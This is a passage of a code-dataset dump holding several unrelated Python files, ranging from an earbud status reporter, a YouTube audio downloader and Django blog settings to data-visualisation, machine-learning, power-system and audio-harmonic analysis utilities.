is_peer_connection(self, tpaddr):\n return any(dev.bdaddr == tpaddr.typed_bdaddr.bdaddr for dev in self._devlist.earbuds)\n\n @property\n def app_state(self):\n return self._app_sm.state\n\n @property\n def app_role(self):\n return self._app_sm.role\n\n @property\n def app_phy_state(self):\n return self._app_sm.phy_state\n\n @property\n def is_peer_connected(self):\n for tpaddr in self._cm.active_connections_tpaddrs:\n if self.is_peer_connection(tpaddr):\n return True\n return False\n\n @property\n def is_handset_connected(self):\n for tpaddr in self._cm.active_connections_tpaddrs:\n for dev in self._devlist.handsets:\n if dev.bdaddr == tpaddr.typed_bdaddr.bdaddr:\n return True\n return False\n\n def _generate_report_body_elements(self):\n grp = interface.Group(\"Summary\")\n keys_in_summary = ['State', 'Value']\n tbl = interface.Table(keys_in_summary)\n found_peer_connection = False\n found_handset_connection = False\n\n with self._app_sm.footprint_prefetched():\n tbl.add_row(['App State', self.app_state])\n tbl.add_row(['App Phy State', self.app_phy_state])\n tbl.add_row(['App Role', self.app_role])\n\n tbl.add_row(['Peer Paired', \"TRUE\" if len(self._devlist.earbuds) != 0 else \"FALSE\"])\n tbl.add_row(['Handset Paired', \"TRUE\" if len(self._devlist.handsets) != 0 else \"FALSE\"])\n\n for tpaddr in self._cm.active_connections_tpaddrs:\n if self.is_peer_connection(tpaddr):\n tbl.add_row(['Peer Connection', tpaddr])\n found_peer_connection = True\n else:\n tbl.add_row(['Handset Connection', tpaddr])\n found_handset_connection = True\n if found_peer_connection == False:\n tbl.add_row([\"Peer Connected\", \"FALSE\"])\n if found_handset_connection == False:\n tbl.add_row([\"Handset Connected\", \"FALSE\"])\n\n grp.append(tbl)\n\n return [grp]\n","sub_path":"adk/tools/pylib/adk/earbud/earbud.py","file_name":"earbud.py","file_ext":"py","file_size_in_byte":3047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"189232547","text":"import youtube_dl\r\nimport os\r\nimport re\r\nimport urllib.request\r\nimport urllib.parse\r\n\r\n\r\noptions = {\r\n 'format': 'bestaudio/best', # choice of quality\r\n 'extractaudio' : True, # only keep the audio\r\n 'audioformat' : \"mp3\", # convert to mp3 \r\n 'outtmpl': os.path.join('mp3','%(id)s'+\".mp3\"), # name the file the ID of the video\r\n 'noplaylist' : True, # only download single song, not playlist\r\n 'quiet':True,\r\n}\r\n\r\n\r\ndef download(id):\r\n with youtube_dl.YoutubeDL(options) as ydl:\r\n ydl.download([id])\r\n\r\n\r\ndef get_id(url):\r\n result = re.match('^[^v]+v=(.{11}).*', url)\r\n if result:\r\n return result.group(1)\r\n else:\r\n return None\r\n\r\n\r\ndef search(query):\r\n query_string = urllib.parse.urlencode({\"search_query\" : query})\r\n html_content = urllib.request.urlopen(\"http://www.youtube.com/results?\" + query_string)\r\n search_results = re.findall(r'href=\\\"\\/watch\\?v=(.{11})', html_content.read().decode())\r\n if len(search_results) > 0:\r\n return \"http://www.youtube.com/watch?v=\" + search_results[0]\r\n else:\r\n return None\r\n\r\nif __name__ == \"__main__\":\r\n input = input(\"what video would you like to download \\n>\")\r\n download(input)\r\n \r\n\r\n","sub_path":"youtube_mp3.py","file_name":"youtube_mp3.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"159409775","text":"import os\n\nDEBUG = False\nTEMPLATE_DEBUG = False\nSEND_BROKEN_LINK_EMAILS = True\nSERVER_EMAIL = 'blakeapm@gmail.com'\n\nTEMPLATE_DIRS = (\"post/templates\",\n)\n\nALLOWED_HOSTS = []\n\nADMINS = (\n ('Blake', 'blakeapm@gmail.com'),\n)\n\n# Application definition\nINSTALLED_APPS = (\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'post',\n 'south',\n 'cloudinary',\n 'captcha',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n)\n\nROOT_URLCONF = 'blog.urls'\n\nWSGI_APPLICATION = 'blog.wsgi.application'\n\n# Static asset configuration\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nSTATIC_ROOT = 'staticfiles'\nSTATIC_URL = '/static/'\n\nSTATICFILES_DIRS = (\n os.path.join(BASE_DIR, 'static'),\n)\n\n# Internationalization\nLANGUAGE_CODE = 'en-us'\nTIME_ZONE = 'UTC'\nUSE_I18N = True\nUSE_L10N = True\nUSE_TZ = True\n\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'filters': {\n 'require_debug_false': {\n '()': 'django.utils.log.RequireDebugFalse'\n }\n },\n 'handlers': {\n 'mail_admins': {\n 'level': 'ERROR',\n #'filters': ['require_debug_false'],\n 'class': 'django.utils.log.AdminEmailHandler'\n }\n },\n 'loggers': {\n 'django.request': {\n 'handlers': ['mail_admins'],\n 'level': 'ERROR',\n 'propagate': True,\n },\n }\n}\n\n# Parse database configuration from $DATABASE_URL\nimport dj_database_url\nDATABASES = {'default': dj_database_url.config(default=os.environ['DATABASE_URL'])}\nSECRET_KEY = os.environ.get('SECRET')\n\n# Set key values for blog comment captchas\nRECAPTCHA_PUBLIC_KEY = os.environ.get('RECAPTCHA_PUBLIC_KEY')\nRECAPTCHA_PRIVATE_KEY = os.environ.get('RECAPTCHA_PRIVATE_KEY')\n\n# Honor the 'X-Forwarded-Proto' header for request.is_secure()\nSECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')\n\n# Allow all host headers\nALLOWED_HOSTS = ['*']\n\n#Cloudinary credentials\nimport cloudinary\nCLOUDINARY_URL = os.environ.get('CLOUDINARY_URL')\ncloudinary.config(\n cloud_name = os.environ.get('CLOUD_NAME'),\n api_key = os.environ.get('CLOUD_KEY'),\n api_secret = os.environ.get('CLOUD_SECRET')\n)\n\ntry:\n from local_settings import *\nexcept ImportError:\n pass\n","sub_path":"blog/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":2675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"293458618","text":"# This Python 3 environment comes with many helpful analytics libraries installed\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\n# For example, here's several helpful packages to load in\n\nimport numpy as np # linear algebra\nimport pandas as pd# data processing, CSV file I/O (e.g. pd.read_csv)\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n# Input data files are available in the \"../input/\" directory.\n# For example, running this (by clicking run or pressing Shift+Enter) will list the files in the input directory\n\nimport os\n#print(os.listdir(\"../input\"))\n\n# Any results you write to the current directory are saved as output.\nfilepath = r'C:\\Users\\surya\\Desktop\\Heart Disease Dataset\\HeartDisease_Cleveland.csv'\ndf = pd.read_csv(filepath)\n#df=pd.read_csv('../input/heart.csv')\nprint('Displaying the first five rows')\ndf.head()\nprint(\"Displaying the last five rows\")\ndf.tail()\ndf.describe()\ndf.columns\ndf.shape\ndf.isnull().sum()\ndf.corr()\nsns.barplot(x=df.age.value_counts()[:10].index,y=df.trestbps.value_counts()[:10].index)\nplt.title(\"Age vs resting blood pressure\")\nplt.xlabel('Age')\nplt.ylabel('trestbps')\nplt.show()\ndf1=df.age[:10]\nprint(df1)\n\nprint(\"Regression plot for age vs chest pain\")\nsns.regplot(x='age',y='cp',data=df,color='blue',marker='+')\ndf.sort_values(['chol'], ascending='False', axis=0, inplace=True)\ndf2=df.head()\ndf2=df2['age'].transpose()\nsns.set_style('darkgrid')\nplt.plot(df2)\nplt.title('Variation of cholestrol with age')\nplt.xlabel('Cholestrol')\nplt.ylabel('Age')\nplt.show()\n\nprint(\"Analysis of heart patients in young, middle and old ages\")\ncolors=['Yellow','blue','green']\nyoung_ages=df[(df.age>=29)&(df.age<40)]\nmiddle_ages=df[(df.age>40)&(df.age<60)]\nold_ages=df[(df.age>=60)]\nplt.figure(figsize = (5,5))\nplt.pie([len(young_ages),len(middle_ages),len(old_ages)],labels=['young ages','middle ages','old ages'],colors=colors,autopct='%1.1f%%')\nplt.show()","sub_path":"Heart Disease Analysis/Visualising heart diseases.py","file_name":"Visualising heart diseases.py","file_ext":"py","file_size_in_byte":1964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"451235294","text":"import re\nwith open('level3.txt', encoding='utf-8') as f:\n str = f.read()\n\n# pattern = re.compile(r'([A-Z]+)([A-Z]+)([A-Z]+)')\n# m=pattern.match(str)\n# print(m.group(0))\ntarget = re.findall(r'[^A-Z][A-Z]{3}([a-z])[A-Z]{3}[^A-Z]',str)\nfor i in target:\n print(i,end=\"\")\n# linkedlist","sub_path":"level3.py","file_name":"level3.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"29360136","text":"from sklearn.metrics import jaccard_score\nfrom sklearn.metrics import f1_score\nfrom sklearn.metrics import accuracy_score\n\nfrom sklearn.naive_bayes import MultinomialNB\nimport numpy as np\n\n\ndef _multinomialnb(*, train, test, x_predict=None, metrics, alpha=1.0, fit_prior=True, class_prior=None):\n \"\"\"For for info visit : \n https://scikit-learn.org/stable/modules/generated/sklearn.naive_bayes.MultinomialNB.html#sklearn.naive_bayes.MultinomialNB\n \"\"\"\n\n model = MultinomialNB(alpha=alpha, fit_prior=fit_prior, class_prior=class_prior)\n model.fit(train[0], train[1])\n model_name = 'MultinomialNB'\n y_hat = model.predict(test[0])\n\n if metrics == 'f1_score':\n accuracy = f1_score(test[1], y_hat)\n if metrics == 'jaccard_score':\n accuracy = jaccard_score(test[1], y_hat)\n if metrics == 'accuracy_score':\n accuracy = accuracy_score(test[1], y_hat)\n\n if x_predict is None:\n return (model_name, accuracy, None)\n\n y_predict = model.predict(x_predict)\n return (model_name, accuracy, y_predict)","sub_path":"datascientist/model/classification/skl/naive_bayes_model/multinomialnb.py","file_name":"multinomialnb.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"471600894","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu August 10 23:52:55 2022\n\n@author: jmmauricio\n\"\"\"\n\n\nimport sympy as sym\n\n\ndef ntsst1(dae,syn_data,name):\n '''\n\n .. table:: Constants\n :widths: auto\n\n Example:\n \n ``\"avr\":{\"type\":\"ntsst1\",\"K_a\":200.0,\"T_c\":1.0,\"T_b\":10.0,\"v_ref\":1.0},``\n\n '''\n\n T_r=0.01\n\n avr_data = syn_data['avr']\n \n v_t = sym.Symbol(f\"V_{name}\", real=True) \n v_c = sym.Symbol(f\"v_c_{name}\", real=True) \n x_cb = sym.Symbol(f\"x_cb_{name}\", real=True)\n xi_v = sym.Symbol(f\"xi_v_{name}\", real=True)\n v_f = sym.Symbol(f\"v_f_{name}\", real=True) \n T_b = sym.Symbol(f\"T_b_{name}\", real=True) \n T_c = sym.Symbol(f\"T_c_{name}\", real=True) \n\n K_a = sym.Symbol(f\"K_a_{name}\", real=True)\n K_ai = sym.Symbol(f\"K_ai_{name}\", real=True)\n\n v_ref = sym.Symbol(f\"v_ref_{name}\", real=True) \n v_pss = sym.Symbol(f\"v_pss_{name}\", real=True) \n\n v_s = v_pss # v_oel and v_uel are not considered\n v_ini = K_ai*xi_v\n\n v_c = v_t # no droop is considered\n v_1 = v_ref - v_c + v_s + v_ini # v_ini is added in pydae to force V = v_ref in the initialization\n \n epsilon_v = v_ref - v_c \n \n dx_cb = (v_1 - x_cb)/T_b; \n z_cb = (v_1 - x_cb)*T_c/T_b + x_cb \n dxi_v = epsilon_v # this integrator is added in pydae to force V = v_ref in the initialization\n\n g_v_f = K_a*z_cb - v_f \n \n dae['f'] += [dx_cb,dxi_v]\n dae['x'] += [ x_cb, xi_v]\n dae['g'] += [g_v_f]\n dae['y_ini'] += [v_f] \n dae['y_run'] += [v_f] \n\n dae['params_dict'].update({str(K_a):avr_data['K_a']})\n dae['params_dict'].update({str(K_ai):1e-6})\n dae['params_dict'].update({str(T_c):avr_data['T_c']}) \n dae['params_dict'].update({str(T_b):avr_data['T_b']}) \n\n dae['u_ini_dict'].update({str(v_ref):avr_data['v_ref']})\n dae['u_run_dict'].update({str(v_ref):avr_data['v_ref']})\n\n dae['u_run_dict'].update({str(v_pss):0.0})\n dae['u_ini_dict'].update({str(v_pss):0.0})\n\n dae['xy_0_dict'].update({str(v_f):2.0})\n dae['xy_0_dict'].update({str(xi_v):10.0})\n dae['xy_0_dict'].update({str(x_cb):2.0})\n\n dae['h_dict'].update({str(v_ref):v_ref}) ","sub_path":"src/pydae/bmapu/avrs/ntsst1.py","file_name":"ntsst1.py","file_ext":"py","file_size_in_byte":2139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"554408776","text":"import sys\nsys.path.append('../')\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\n\nimport seaborn as sns\n\nfrom network import Protocol, BCPNNFast, NetworkManager\nfrom analysis_functions import calculate_recall_success_sequences\nfrom connectivity_functions import create_artificial_manager\n\nsns.set(font_scale=3.0)\n\n# Patterns parameters\nhypercolumns = 4\nminicolumns = 30\nn_patterns = 10\n\ndt = 0.001\n\n# Manager properties\ndt = 0.001\nT_recall = 5.0\nT_cue = 0.100\nn = 10\nvalues_to_save = ['o']\n\n# Protocol\ntraining_time = 0.1\ninter_sequence_interval = 1.0\ninter_pulse_interval = 0.0\nepochs = 3\n\n# Sequence structure\nnumber_of_sequences = 2\nhalf_width = 2\n\nsigma = 0\n\ntau_z_vector = np.arange(0.025, 0.525, 0.025)\noverlaps = [2, 3, 4]\ntotal_success_list_tau_z = []\ntotal_success_list_tau_z_var = []\ntotal_success_list_tau_z_min = []\n\nfor overlap in overlaps:\n print(overlap)\n total_success_tau_z = np.zeros(tau_z_vector.size)\n total_success_tau_z_var = np.zeros(tau_z_vector.size)\n total_success_tau_z_min = np.zeros(tau_z_vector.size)\n for tau_z_index, tau_z_pre in enumerate(tau_z_vector):\n # Build the network\n nn = BCPNNFast(hypercolumns, minicolumns, tau_z_pre=tau_z_pre, sigma=sigma)\n # Buidl the manager\n manager = NetworkManager(nn=nn, dt=dt, values_to_save=values_to_save)\n\n # Build chain protocol\n chain_protocol = Protocol()\n units_to_overload = [i for i in range(overlap)]\n sequences = chain_protocol.create_overload_chain(number_of_sequences, half_width, units_to_overload)\n chain_protocol.cross_protocol(sequences, training_time=training_time,\n inter_sequence_interval=inter_sequence_interval, epochs=epochs)\n\n # Run the manager\n manager.run_network_protocol(protocol=chain_protocol, verbose=False)\n\n successes = calculate_recall_success_sequences(manager, T_recall=T_recall, T_cue=T_cue, n=n,\n sequences=sequences)\n # Store\n total_success_tau_z[tau_z_index] = np.mean(successes)\n total_success_tau_z_min[tau_z_index] = np.min(successes)\n total_success_tau_z_var[tau_z_index] = np.var(successes)\n\n total_success_list_tau_z.append(total_success_tau_z)\n total_success_list_tau_z_var.append(total_success_tau_z_var)\n total_success_list_tau_z_min.append(total_success_tau_z_min)\n\nfig = plt.figure(figsize=(16, 12))\nax = fig.add_subplot(111)\ncolor_list = ['b', 'g', 'r', 'c', 'm', 'y', 'k']\ncolor_list = color_list[:len(overlaps)]\n\nfor overlap, total_success_tau_z, color in zip(overlaps, total_success_list_tau_z, color_list):\n ax.plot(tau_z_vector, total_success_tau_z, '*-', markersize=15, color=color,\n label='overlap = ' + str(overlap))\n\n#for overlap, total_success_tau_z, color in zip(overlaps, total_success_list_tau_z_min, color_list):\n# ax.plot(tau_z_vector, total_success_tau_z, markersize=15, color=color, linestyle='--')\n\nax.axhline(0, color='black', alpha=0.2)\nax.set_ylim([-5, 105])\n\nax.set_xlabel(r'$\\tau_z$ NMDA')\nax.set_ylabel('Success')\n\nax.legend();\n\nfname = './plots/capacity_tau_z.pdf'\nplt.savefig(fname, format='pdf', dpi=100, bbox_inches='tight', frameon=True, transparent=False)","sub_path":"plots/bernstein_capacity_tau_z_02.py","file_name":"bernstein_capacity_tau_z_02.py","file_ext":"py","file_size_in_byte":3305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"543581657","text":"import re\n\nclass TextHelpers:\n def remove_multiline_expression_linebreaks(text):\n open_brackets = ['(', '[', '(']\n close_brackets = [')', ']', '}']\n matching = {'(': ')', '[': ']', '{': '}'}\n\n quoted_string_map = [False for c in text]\n quoted_string_regex = r'(\"(?:[^\"\\\\]|\\\\.)*\"|\\'(?:[^\\'\\\\]|\\\\.)*\\')'\n for match in re.finditer(quoted_string_regex, text):\n span = match.span()\n for i in range(span[0], span[1]):\n quoted_string_map[i] = True\n\n removals = set()\n bracket_stack = []\n i = 0\n for i in range(len(text)):\n if quoted_string_map[i]:\n continue\n\n if text[i] in open_brackets:\n bracket_stack.append(text[i])\n #print('%d: %r' % (i, bracket_stack))\n elif text[i] in close_brackets:\n if matching[bracket_stack[-1]] == text[i]:\n bracket_stack = bracket_stack[:-1]\n #print('%d: %r' % (i, bracket_stack))\n else:\n assert(False and ('mismatching brackets (..\\'%s\\')' % (text[i:i+10])))\n elif text[i] == '\\n' and len(bracket_stack): # pylint: disable=len-as-condition\n removals.add(i)\n #print('%d: removal' % i)\n keeper = None\n j = i - 1\n while (j >= 0 and str.isspace(text[j])):\n if keeper:\n removals.add(j)\n else:\n keeper = j\n j -= 1\n j = i + 1\n while (j < len(text) and str.isspace(text[j])):\n if keeper:\n removals.add(j)\n else:\n keeper = j\n j += 1\n #print(removals)\n final_char = lambda i: '' if (i in removals) else text[i]\n\n return ''.join(final_char(i) for i in range(len(text)))\n","sub_path":"Python/klickitat/text_helpers.py","file_name":"text_helpers.py","file_ext":"py","file_size_in_byte":2001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"128824834","text":"# utility functions for modifications\n\nimport sys,os\nsys.path.append(os.path.join(os.path.dirname(os.path.realpath(__file__)), '../models/'))\n\nimport numpy as np\nimport pandas as pd\nimport math\nimport csv\nimport json\n\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as cm\nfrom scipy.stats import norm, linregress\nimport scipy.optimize as opt\nimport scipy.signal as sig\n\nimport utilFunctions as UF\nimport stft as STFT\nimport find_attack as FA\nimport hpsModel as HPS\n\n########## functions for spectral descriptor tests ###############\ndef evenAtten(hmag, attenRatio):\n hmagAttened = hmag.copy()\n for h in range(hmag.shape[1]):\n if h%2 == 1:\n hmagAttened[::,h]= hmagAttened[::,h] + 20*math.log10(attenRatio)\n return hmagAttened\n\ndef oddAtten(hmag, attenRatio, keepF0):\n hmagAttened = hmag.copy()\n for h in range(hmag.shape[1]):\n if h % 2 == 0:\n hmagAttened[::, h] = hmagAttened[::, h] + 20 * math.log10(attenRatio)\n\n if keepF0 == 1:\n hmagAttened[::,0] = hmag[::,0]\n\n return hmagAttened\n\ndef expAtten(hmag,rate):\n hmagAttened = hmag.copy()\n for h in range(hmag.shape[1]):\n hmagAttened[::, h] = hmagAttened[::, h]-20*rate*h*math.log10(math.e)\n\n return hmagAttened\n\ndef gaussianModi(hmag, hfreq, freqMean, freqVar,keepF0):\n\n th = -500\n\n hmagAttened = hmag.copy()\n atten = norm.pdf(hfreq, freqMean, freqVar)\n\n for fl in range(hmag.shape[0]):\n attenNorm = atten[fl,::] / np.max(atten[fl,::])\n hmagAttened[fl,::] = hmagAttened[fl,::] + 20*np.log10(attenNorm)\n for i in range(hmag.shape[1]):\n if hmagAttened[fl,i] < th:\n hmagAttened[fl, i] = th\n\n if keepF0 == 1:\n hmagAttened[::,0] = hmag[::,0]\n\n return hmagAttened\n\ndef invGaussianModi(hmag, hfreq, freqMean, freqVar,keepF0): \n th = -500\n esp = 0.000000001\n\n hmagAttened = hmag.copy()\n atten = norm.pdf(hfreq, freqMean, freqVar)\n print(atten)\n\n for fl in range(hmag.shape[0]):\n attenNorm = atten[fl,::] / np.max(atten[fl,::])\n w = 1 - attenNorm + esp\n hmagAttened[fl,::] = hmagAttened[fl,::] + 20*np.log10(w)\n for i in range(hmag.shape[1]):\n if hmagAttened[fl,i] < th:\n hmagAttened[fl, i] = th\n\n if keepF0 == 1:\n hmagAttened[::,0] = hmag[::,0]\n\n return hmagAttened\n\ndef singleModi(hmag, harmNo, rate):\n hmagAttened = hmag.copy()\n\n if harmNo <= hmag.shape[1]:\n hmagAttened[::,harmNo-1] = hmagAttened[::,harmNo-1] * rate\n\n return hmagAttened\n\n#############################################################\n\n########## functions for frequency synthesis ###############\n\ndef non_zero_var(x):\n var = []\n for i in range(x.shape[1]):\n xF = x[::,i]\n xN = xF[np.nonzero(xF)]\n var.append(np.var(xN))\n\n return np.array(var)\n\ndef non_zero_mean(x,f0):\n mean = []\n for i in range(x.shape[1]):\n xF = x[::,i]\n xN = xF[np.nonzero(xF)]-f0*(i+1)\n mean.append(np.mean(xN))\n\n ## tst\n # print('def non_zero_mean i,xN:',i,xN)\n\n return np.array(mean)\n\ndef freq_ana(hfreq,f0,noiseRedu = 1):\n freqSlct = hfreq.copy()\n if noiseRedu == 1:\n # examing validation by difference with the previous harmony\n # freqPre = np.concatenate((np.zeros((hfreq.shape[0],1)),hfreq[::,::-2]),axis=1)\n # freqDrv = hfreq-freqPre\n # freqVld = (freqDrv>f0*0.8) & (freqDrv>f0*1.2) # threshold for validation of a certain frequency\n # freqSlct = hfreq * freqVld\n\n # examing validation by difference with standard frequency\n freqStd = np.repeat(np.array([np.arange(1,hfreq.shape[1]+1)]),hfreq.shape[0],axis=0) * f0\n freqDrv = hfreq-freqStd\n freqVld = (np.abs(freqDrv)= x_max + 20 * math.log10(0.1) and fg == 0:\n # soa_ind = i\n # fg = 1\n # if x[i] >= x_max + 20*math.log10(0.6):\n # eoa_ind = i\n # break\n \n # find SOA and EOA\n EOA, beginningSeg, steadySeg, harm_sm = find_EOA(x)\n soa_ind = beginningSeg[0]\n eoa_ind = EOA\n\n # sor: 5% of max from end\n # eor: 60% of max from end\n fg = 0\n for i in range(x.shape[0] - 1, 0, -1):\n if x[i] >= x_max + 20 * math.log10(0.05) and fg == 0:\n eor_ind = i\n fg = 1\n if x[i] >= x_max + 20*math.log10(0.6):\n sor_ind = i\n break\n\n # print(soa_ind, eoa_ind)\n # print(sor_ind, eor_ind)\n return [soa_ind, eoa_ind, sor_ind, eor_ind]\n\n# find curve model for partials\ndef curve(n, values, x):\n if x.shape[0] == 0:\n return np.array([[0]])\n else:\n v0 = values[0][0]\n v1 = values[-1][0]\n return v0 + (v1 - v0) * np.power((1 - np.power((1 - (x - x.min()) / (x.max() - x.min())), n)), 1. / n)\n\n\ndef curve_err(n, values, x):\n if x.shape[0] == 0:\n return 0\n else:\n res = (values - curve(n, values, x))[:, 0]\n\n ##tst\n # print(res)\n\n return res\n\n\ndef find_opt_n(values, x, n0=1):\n if x.shape[0] == 0:\n return 1\n else:\n res = opt.least_squares(curve_err, n0, bounds=[-40, 40], args=(values, x))\n\n return res['x']\n\n# find curve model for partials\ndef find_curved_partial(partial, ts):\n\n partial_n = []\n partial_curve = np.zeros(partial.shape)\n points_curve = np.zeros((partial.shape[0],4))\n pt_n = []\n\n for i in range(partial.shape[0]):\n pt = partial[i, :]\n\n # get rid of 0dB silence (set to -500dB)\n ptZero = -200 * (pt == 0)\n pt = pt + ptZero\n\n smLength = 31 # odd length\n pt_sm = smooth(pt, smLength)\n points = find_adsr_perc(pt_sm)\n points_curve[i,:] = np.array(points)\n points.insert(0, 0)\n points.append(pt_sm.shape[0]-1)\n\n ## tst\n # if i in [0,1,2,3,4]:\n # print(points)\n # plt.plot(pt_sm)\n # # plt.plot(pt)\n # # plt.plot(ptZero)\n # plt.plot(points,pt_sm[points],'x')\n # plt.show()\n\n\n for j in range(5):\n st_ind = points[j]\n ed_ind = points[j + 1]\n if st_ind >= ed_ind-1:\n pt_n.append(1)\n if st_ind == ed_ind-1:\n partial_curve[i,st_ind] = pt_sm[st_ind]\n else:\n n = find_opt_n(pt_sm[st_ind:ed_ind, np.newaxis], ts[st_ind:ed_ind])\n pt_n.append(n[0])\n simCurv = curve(n[0], pt_sm[st_ind:ed_ind, np.newaxis], ts[st_ind:ed_ind])\n partial_curve[i:i+1, st_ind:ed_ind] = simCurv.T\n\n partial_n.append(pt_n)\n pt_n = []\n\n partial_curve[::,-1] = partial_curve[::,-2]\n partial_n = np.array(partial_n)\n points_curve = points_curve.astype(int)\n\n return partial_n, partial_curve, points_curve\n\n\n# find the End Of Attack with intersection detection(2021 Feb)\ndef find_EOA(harm):\n # detect non silence part of the harmonic only by the magnitude\n nonSilence = [0,harm.size-1]\n for i in range(harm.size):\n if harm[i] > -200:\n nonSilence[0] = i\n break\n for i in range(harm.size-1,-1,-1):\n if harm[i] > -200:\n nonSilence[1] = i\n break\n\n harm_nonZero = harm - 200 * (harm == 0)\n harm_sm = FA.find_attack_bspline(harm_nonZero)\n\n # find beginning segment\n beginningSeg, beginningPara = FA.model_beginning_segment(nonSilence, harm_nonZero)\n\n # find steady segment\n steadySeg, steadyPara = FA.model_steady_segment(nonSilence, beginningSeg, harm_nonZero)\n\n # find intersection AKA EOA\n EOA = FA.model_EOA(harm_nonZero, beginningSeg, beginningPara, steadySeg, steadyPara)\n\n return EOA, beginningSeg, steadySeg, harm_sm\n#############################################################\n\n########## functions for plotting ###############\ndef plot_spec3d(hfreq,hmag,t,content=0):\n ax_partial_curve = plt.axes(projection=\"3d\")\n # fig = plt.figure()\n\n for i in range(hfreq.shape[1]):\n ax_partial_curve.plot(t, hfreq[::,i], hmag[::,i])\n\n if content == 1:\n ax_partial_curve.set_xlabel('time(sec)')\n ax_partial_curve.set_ylabel('frequency(Hz)')\n ax_partial_curve.set_zlabel('magnitude(dB)')\n elif content == 2:\n ax_partial_curve.set_xlabel('time(sec)')\n ax_partial_curve.set_ylabel('frequency(Hz)')\n ax_partial_curve.set_zlabel('phase(rad)')\n\n # ax_partial_curve.set_xlim((0,0.1))\n plt.show()\n\n return\n\ndef plot_spec3d_cmp(hfreq1, hmag1, t1, hfreq2, hmag2, t2):\n\n plt.subplot(2,1,1)\n ax_partial_curve1 = plt.axes(projection=\"3d\")\n # fig = plt.figure()\n for i in range(hfreq1.shape[1]):\n ax_partial_curve1.plot(t1, hfreq1[::, i], hmag1[::, i])\n\n plt.subplot(2, 1, 2)\n ax_partial_curve2 = plt.axes(projection=\"3d\")\n for i in range(hfreq2.shape[1]):\n ax_partial_curve2.plot(t2, hfreq2[::, i], hmag2[::, i])\n\n plt.show()\n\ndef create_label(n):\n label = []\n for i in range(n):\n label.append(str(i+1))\n\n return label\n\n#############################################################\n\n########## excel ############################################\ndef save_matrix(save_path, matrix, sheetName=None, col=None, index=None):\n df = pd.DataFrame(matrix)\n if sheetName == None:\n sheet_name = 'unknown'\n with pd.ExcelWriter(save_path,mode='a') as writer:\n df.to_excel(writer, sheet_name=sheetName)\n return 0\n###############################################################\n\n########## functions for spectrum modification ###############\ndef add_harm(hfreq, hmag, hphase, freqs,values,phases):\n f = np.mean(freqs)\n for i in range(hfreq.shape[1]):\n if f <= hfreq[0,i]:\n ind = i\n break\n if f > hfreq[0,-1]:\n ind = hfreq.shape[1]\n\n hfreqAdded = np.concatenate((hfreq[::,0:ind],freqs,hfreq[::,ind:]),axis=1)\n\n hmagAdded = np.concatenate((hmag[::,0:ind],values,hmag[::,ind:]),axis=1)\n\n hphaseAdded = np.concatenate((hphase[::, 0:ind], phases, hphase[::, ind:]), axis=1)\n\n return hfreqAdded, hmagAdded, hphaseAdded\n\ndef find_freq_spike(hfreq):\n fn, hn = hfreq.shape\n f0 = np.mean(hfreq[:, 0])\n # hfreqDeri = np.abs(hfreq - np.concatenate((hfreq[1:,:],hfreq[-1:,:]))) + np.abs(hfreq - np.concatenate((hfreq[0:1,:],hfreq[:-1,:])))\n # hfreqNoise = hfreqDeri > (f0 * thresholdRatio)\n\n # Threshold Controlling\n # Constant:\n thresholdRatio = 0.05*np.ones(hn)\n # Exponentially Increase:\n # thresholdRatio = 0.05 + np.exp(np.arange(hn)*0.02)-1\n\n hfreqNoise = []\n for i in range(hn):\n freqMin = np.mean(hfreq[:,i])-f0*thresholdRatio[i]\n freqMax = np.mean(hfreq[:,i])+f0*thresholdRatio[i]\n freqNoise = np.logical_or(hfreq[:,i]<=freqMin, hfreq[:,i]>=freqMax)\n hfreqNoise.append(freqNoise)\n\n hfreqNoise = np.array(hfreqNoise).T\n return hfreqNoise\n\n freqNoise = np.logical_or(hfreq[:,0]maxf0)\n # print(freqNoise)\n hfreqNoise = np.repeat(np.array([freqNoise]),nH,axis=0).T\n return hfreqNoise\n\ndef find_freq_failure(hfreq,minf0,maxf0):\n nH = hfreq.shape[1]\n freqNoise = np.logical_or(hfreq[:,0]maxf0)\n # print(freqNoise)\n hfreqNoise = np.repeat(np.array([freqNoise]),nH,axis=0).T\n return hfreqNoise\n\ndef mag_interpolate(hfreq,hfreqNoise, hmag, hphase):\n fn, hn = hmag.shape\n hmagIntp = hmag.copy()\n hfreqIntp = hfreq.copy()\n hphaseIntp = hphase.copy()\n for i in range(hn):\n ptNoise = hfreqNoise[:,i]\n pt = hmag[:,i]\n ptf = hfreq[:,i]\n ptp = hphase[:, i]\n\n seg = []\n for j in 